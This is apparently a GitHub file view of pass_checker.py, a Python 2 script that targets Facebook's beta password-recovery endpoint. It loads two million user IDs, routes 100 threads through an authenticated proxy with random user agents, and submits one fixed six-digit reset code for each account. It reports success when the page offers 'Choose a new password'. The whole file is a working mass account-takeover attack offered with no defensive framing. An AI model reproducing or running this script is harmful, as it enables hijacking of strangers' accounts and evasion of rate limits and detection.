-
Notifications
You must be signed in to change notification settings - Fork 27
Expand file tree
/
Copy pathpass_checker.py
More file actions
82 lines (69 loc) · 2.07 KB
/
Copy pathpass_checker.py
File metadata and controls
82 lines (69 loc) · 2.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from bs4 import BeautifulSoup
from Queue import Queue
from fake_useragent import UserAgent
from cred import USER, PASS, PROX_URL, PORT
import urllib2, sys, threading, random, json
START_QUEUE = 0
END_QUEUE = 2000000
GUESS = 897532
num_threads = 100
base_url = "https://www.beta.facebook.com/recover/password?u="
queue = Queue(maxsize=0)
useragent = UserAgent()
ids = []
class ThreadWorker(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while self.queue.qsize() != 0:
curr_item = self.queue.get(timeout=10)
self.fetch_url(curr_item)
self.queue.task_done()
def fetch_url(self,user_id):
url = base_url + str(user_id) + "&n=" + "{0:06}".format(GUESS)
try:
request = urllib2.Request(url, None,{"User-agent":useragent.random})
response = urllib2.urlopen(request)
soup = BeautifulSoup(response.read(), "html.parser")
if soup.h2.string == "Choose a new password":
print "---------------------------SUCCESS---------------------------"
print user_id
print "---------------------------SUCCESS---------------------------"
else:
print user_id, soup.h2.string
except urllib2.URLError, e:
if hasattr(e, "code"):
print e.code, user_id, e.reason
except KeyboardInterrupt:
print "KeyboardInterrupt"
sys.exit()
except Exception, e:
print "EXCEPTION:", str(e), user_id
sys.exit()
def spawn():
for x in xrange(num_threads):
thread = ThreadWorker(queue)
thread.daemon = True
thread.start()
def add_to_queue():
global queue
for x in xrange(START_QUEUE, END_QUEUE, 1):
user_id = ids[x]
queue.put(user_id)
def fetch_ids():
global ids
with open("./Extracts/2mil_ids.json","r") as json_file:
id_dict = json.load(json_file)
ids = id_dict.keys()
def setup_proxy():
proxy = urllib2.ProxyHandler({"http": USER+":"+PASS+"@"+PROX_URL+":"+PORT})
auth = urllib2.HTTPBasicAuthHandler()
opener = urllib2.build_opener(proxy,auth,urllib2.HTTPHandler)
urllib2.install_opener(opener)
if __name__ == '__main__':
setup_proxy()
fetch_ids()
add_to_queue()
spawn()
queue.join()